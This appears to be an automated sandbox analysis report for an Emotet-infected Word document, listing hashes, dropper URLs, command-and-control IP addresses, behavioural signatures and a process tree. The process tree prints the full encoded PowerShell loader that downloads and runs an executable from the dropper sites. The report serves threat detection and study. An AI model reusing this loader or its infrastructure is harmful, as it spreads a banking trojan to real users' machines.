emotet | 24750ed2a7cbc122fca96df6f6ed3a3b879906272abbbcc636db5a6a441f68d2

General

Target

BLT2009.doc
Size

163KB
MD5

3bed1986a9ac94fba68c471fb4bcfc20
SHA1

9b8a01bc85ac72c25311bb8b934be6071ffedeb9
SHA256

24750ed2a7cbc122fca96df6f6ed3a3b879906272abbbcc636db5a6a441f68d2
SHA512

7f9870114bb40a322b3013053505319774d04f20a11840b391c4a668c84f285ccc5ca2df5ad201d6bd7263434483bb7cdb49fadaed74626dfa9625fbeb86617b

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://dheeranet.com/Pej/

exe.dropper

http://playschoolmatritva.com/cgi-bin/Uh/

exe.dropper

http://dikshadayal.com/cgi-bin/Zl78esq/

exe.dropper

http://new.mylicense.ca/5aiibj/vS2/

exe.dropper

http://nucleokardecistalace.org.br/wp-includes/HviA/

exe.dropper

http://britanniacricketleague.com/wp-admin/3qc8lQB/

exe.dropper

https://www.hhbiao.com/ro/4Kh/

Extracted

Family

emotet

C2

71.72.196.159:80

134.209.36.254:8080

120.138.30.150:8080

94.23.216.33:80

157.245.99.39:8080

137.59.187.107:8080

94.23.237.171:443

61.19.246.238:443

156.155.166.221:80

50.35.17.13:80

153.137.36.142:80

91.211.88.52:7080

209.141.54.221:8080

185.94.252.104:443

174.45.13.118:80

87.106.136.232:8080

62.75.141.82:80

213.196.135.145:80

188.219.31.12:80

82.80.155.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2808	3208	powershell.exe

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/1308-16-0x00000000021C0000-0x00000000021D2000-memory.dmp	emotet
behavioral2/memory/1308-16-0x00000000021C0000-0x00000000021D2000-memory.dmp	emotet
behavioral2/memory/1308-17-0x00000000004C0000-0x00000000004D0000-memory.dmp	emotet
behavioral2/memory/1308-17-0x00000000004C0000-0x00000000004D0000-memory.dmp	emotet
behavioral2/memory/1652-20-0x00000000005F0000-0x0000000000602000-memory.dmp	emotet
behavioral2/memory/1652-20-0x00000000005F0000-0x0000000000602000-memory.dmp	emotet
behavioral2/memory/1652-21-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/1652-21-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

21 2808 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

Kvc2gdn.exentmarta.exe

pid process

1308 Kvc2gdn.exe
1652 ntmarta.exe
Drops file in System32 directory 1 IoCs

Processes:

Kvc2gdn.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\AdmTmpl\ntmarta.exe Kvc2gdn.exe

flow	pid	process
21	2808	powershell.exe

pid	process
1308	Kvc2gdn.exe
1652	ntmarta.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\AdmTmpl\ntmarta.exe	Kvc2gdn.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3740 WINWORD.EXE
3740 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exentmarta.exe

pid process

2808 powershell.exe
2808 powershell.exe
2808 powershell.exe
1652 ntmarta.exe
1652 ntmarta.exe
1652 ntmarta.exe
1652 ntmarta.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2808 powershell.exe

pid	process
2808	powershell.exe
2808	powershell.exe
2808	powershell.exe
1652	ntmarta.exe
1652	ntmarta.exe
1652	ntmarta.exe
1652	ntmarta.exe

description	pid	process
Token: SeDebugPrivilege	2808	powershell.exe

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

WINWORD.EXE

pid	process
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

powershell.exeKvc2gdn.exe

description	pid	process	target process
PID 2808 wrote to memory of 1308	2808	powershell.exe	Kvc2gdn.exe
PID 2808 wrote to memory of 1308	2808	powershell.exe	Kvc2gdn.exe
PID 2808 wrote to memory of 1308	2808	powershell.exe	Kvc2gdn.exe
PID 1308 wrote to memory of 1652	1308	Kvc2gdn.exe	ntmarta.exe
PID 1308 wrote to memory of 1652	1308	Kvc2gdn.exe	ntmarta.exe
PID 1308 wrote to memory of 1652	1308	Kvc2gdn.exe	ntmarta.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\BLT2009.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3740

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -encod JABNAHUAcQB4AGoAcwBiAD0AKAAoACcAQwAnACsAJwBiADEAJwApACsAKAAnAG0ANwAnACsAJwBfADAAJwApACkAOwAmACgAJwBuAGUAdwAnACsAJwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AVgA6AHUAcwBlAHIAcABSAE8AZgBJAEwAZQBcAEQARgBiAHEAbQBLADUAXABBAF8AagB6ADQATwA1AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAEUAQwB0AE8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAGAAUgBgAEkAdABZAHAAcgBgAE8AYABUAE8AQwBPAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAnACsAJwAyACcAKwAoACcALAAgAHQAbAAnACsAJwBzADEAMQAnACsAJwAsACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAEsAagA5ADcAbwBiAGsAIAA9ACAAKAAoACcASwAnACsAJwB2AGMAJwApACsAKAAnADIAZwBkACcAKwAnAG4AJwApACkAOwAkAEMANQBfADUAagBpADUAPQAoACcATAAnACsAJwBfAHAAJwArACgAJwA1ACcAKwAnAHYAeQBnACcAKQApADsAJABMADgAMQBfADUAcwA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHQAOQAnACsAKAAnADEAJwArACcARABmAGIAcQAnACkAKwAnAG0AawAnACsAKAAnADUAJwArACcAdAA5ADEAQQAnACsAJwBfACcAKQArACgAJwBqAHoAJwArACcANABvACcAKwAnADUAdAA5ACcAKQArACcAMQAnACkALQBDAHIAZQBwAGwAYQBjAEUAKAAnAHQAJwArACcAOQAxACcAKQAsAFsAYwBIAEEAUgBdADkAMgApACsAJABLAGoAOQA3AG8AYgBrACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABDAHkAbgBsAHYAcgBiAD0AKAAoACcAQQA4AGoAaAAnACsAJwBtAGMAJwApACsAJwAzACcAKQA7ACQARQBhAGoANwB0ADAAcgA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgB3AEUAYgBjAGwASQBFAE4AdAA7ACQAWABhAHkAZAB3ADQANgA9ACgAKAAnAGgAdAAnACsAJwB0AHAAOgAnACkAKwAnAC8ALwAnACsAKAAnAGQAJwArACcAaABlAGUAcgBhAG4AZQAnACkAKwAoACcAdAAnACsAJwAuAGMAJwApACsAJwBvACcAKwAoACcAbQAvACcAKwAnAFAAJwApACsAKAAnAGUAagAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAnACkAKwAnAC8ALwAnACsAKAAnAHAAbABhACcAKwAnAHkAcwBjACcAKQArACgAJwBoAG8AJwArACcAbwBsAG0AYQB0AHIAJwArACcAaQAnACkAKwAoACcAdAB2AGEAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAKAAnAC8AJwArACcAYwBnAGkAJwArACcALQBiAGkAbgAvACcAKQArACcAVQAnACsAKAAnAGgAJwArACcALwAqAGgAJwApACsAJwB0ACcAKwAoACcAdAAnACsAJwBwADoAJwApACsAKAAnAC8ALwBkACcAKwAnAGkAawAnACkAKwAoACcAcwBoAGEAJwArACcAZABhACcAKQArACgAJwB5AGEAJwArACcAbAAuAGMAJwApACsAKAAnAG8AJwArACcAbQAnACsAJwAvAGMAZwBpAC0AJwApACsAKAAnAGIAaQAnACsAJwBuAC8AWgAnACkAKwAoACcAbAA3ADgAJwArACcAZQBzACcAKQArACgAJwBxAC8AKgBoAHQAJwArACcAdABwADoALwAnACsAJwAvAG4AJwApACsAKAAnAGUAJwArACcAdwAuAG0AJwArACcAeQBsAGkAJwApACsAKAAnAGMAJwArACcAZQBuACcAKQArACgAJwBzACcAKwAnAGUALgBjAGEAJwApACsAKAAnAC8ANQAnACsAJwBhACcAKQArACgAJwBpACcAKwAnAGkAYgAnACkAKwAoACcAagAvAHYAUwAnACsAJwAyAC8AKgAnACsAJwBoAHQAdAAnACsAJwBwADoAJwApACsAKAAnAC8AJwArACcALwBuACcAKQArACcAdQBjACcAKwAoACcAbAAnACsAJwBlAG8AJwApACsAJwBrAGEAJwArACgAJwByAGQAZQBjAGkAJwArACcAcwB0ACcAKwAnAGEAbABhACcAKwAnAGMAJwApACsAKAAnAGUAJwArACcALgBvACcAKQArACgAJwByAGcALgAnACsAJwBiAHIAJwApACsAKAAnAC8AdwBwAC0AJwArACcAaQAnACkAKwAoACcAbgAnACsAJwBjAGwAdQBkACcAKwAnAGUAcwAnACkAKwAnAC8ASAAnACsAJwB2ACcAKwAoACcAaQBBACcAKwAnAC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAGIAJwArACcAcgBpACcAKQArACgAJwB0ACcAKwAnAGEAbgAnACkAKwAoACcAbgBpACcAKwAnAGEAYwAnACkAKwAoACcAcgAnACsAJwBpAGMAawBlAHQAJwApACsAJwBsACcAKwAoACcAZQBhAGcAdQBlAC4AYwBvAG0AJwArACcALwAnACsAJwB3ACcAKwAnAHAALQBhAGQAbQBpACcAKwAnAG4AJwApACsAJwAvACcAKwAnADMAcQAnACsAKAAnAGMAJwArACcAOABsACcAKQArACgAJwBRAEIAJwArACcALwAqAGgAJwArACcAdAB0AHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AdwB3AHcAJwApACsAKAAnAC4AaABoAGIAaQBhACcAKwAnAG8ALgBjAG8AJwArACcAbQAvACcAKQArACcAcgAnACsAKAAnAG8ALwA0ACcAKwAnAEsAaAAnACkAKwAnAC8AJwApAC4AIgBzAFAAbABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEUAbAB1AHAAcwBoAGUAPQAoACcARwAxACcAKwAoACcAOAAnACsAJwA3AHUAZgAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQASgAxAF8AaAA3AGkAdQAgAGkAbgAgACQAWABhAHkAZAB3ADQANgApAHsAdAByAHkAewAkAEUAYQBqADcAdAAwAHIALgAiAGQAbwBXAG4ATABgAE8AYABBAEQAZgBgAEkAbABlACIAKAAkAEoAMQBfAGgANwBpAHUALAAgACQATAA4ADEAXwA1AHMAOAApADsAJABMAHAAeAB0ADEAYwB1AD0AKAAnAFUAOQAnACsAKAAnADUAbQAwACcAKwAnAHcAJwApACsAJwB4ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABMADgAMQBfADUAcwA4ACkALgAiAGwAYABFAG4AYABnAHQAaAAiACAALQBnAGUAIAAyADcANAA0ADQAKQAgAHsALgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQATAA4ADEAXwA1AHMAOAApADsAJABBAHgAawBkADIAZgA3AD0AKAAoACcATQBjACcAKwAnADcAJwApACsAKAAnAHUAZwAnACsAJwByACcAKQArACcANwAnACkAOwBiAHIAZQBhAGsAOwAkAE4AMwA5AHAAaQB5AGUAPQAoACcAWQAnACsAJwB5ACcAKwAoACcAdgBvACcAKwAnADQAOAB4ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABOAHgAdQBzAHIAeQB6AD0AKAAnAFQAXwAnACsAKAAnAGkAJwArACcAXwB5AGIAJwApACsAJwB3ACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2808

C:\Users\Admin\Dfbqmk5\A_jz4o5\Kvc2gdn.exe
"C:\Users\Admin\Dfbqmk5\A_jz4o5\Kvc2gdn.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1308

C:\Windows\SysWOW64\AdmTmpl\ntmarta.exe
"C:\Windows\SysWOW64\AdmTmpl\ntmarta.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1652

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\DFbqmK5\A_jz4O5\Kvc2gdn.exe

Download Submit
C:\Users\Admin\Dfbqmk5\A_jz4o5\Kvc2gdn.exe

Download Submit
C:\Windows\SysWOW64\AdmTmpl\ntmarta.exe

Download Submit
memory/1308-13-0x0000000000000000-mapping.dmp

Download
memory/1308-17-0x00000000004C0000-0x00000000004D0000-memory.dmp

Filesize
64KB

Download
memory/1308-16-0x00000000021C0000-0x00000000021D2000-memory.dmp

Filesize
72KB

Download
memory/1652-21-0x00000000001F0000-0x0000000000200000-memory.dmp

Filesize
64KB

Download
memory/1652-20-0x00000000005F0000-0x0000000000602000-memory.dmp

Filesize
72KB

Download
memory/1652-18-0x0000000000000000-mapping.dmp

Download
memory/2808-12-0x000001F56CDE0000-0x000001F56CDE1000-memory.dmp

Filesize
4KB

Download
memory/2808-11-0x000001F554630000-0x000001F554631000-memory.dmp

Filesize
4KB

Download
memory/2808-10-0x00007FFA64200000-0x00007FFA64BEC000-memory.dmp

Filesize
9.9MB

Download
memory/3740-0-0x00007FFA6B4B0000-0x00007FFA6BB76000-memory.dmp

Filesize
6.8MB

Download
memory/3740-9-0x000001B11516A000-0x000001B11517B000-memory.dmp

Filesize
68KB

Download
memory/3740-8-0x000001B11516A000-0x000001B11517B000-memory.dmp

Filesize
68KB

Download
memory/3740-7-0x000001B11516A000-0x000001B11517B000-memory.dmp

Filesize
68KB

Download
memory/3740-6-0x000001B11516A000-0x000001B11517B000-memory.dmp

Filesize
68KB

Download
memory/3740-5-0x000001B1157D0000-0x000001B1157F2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads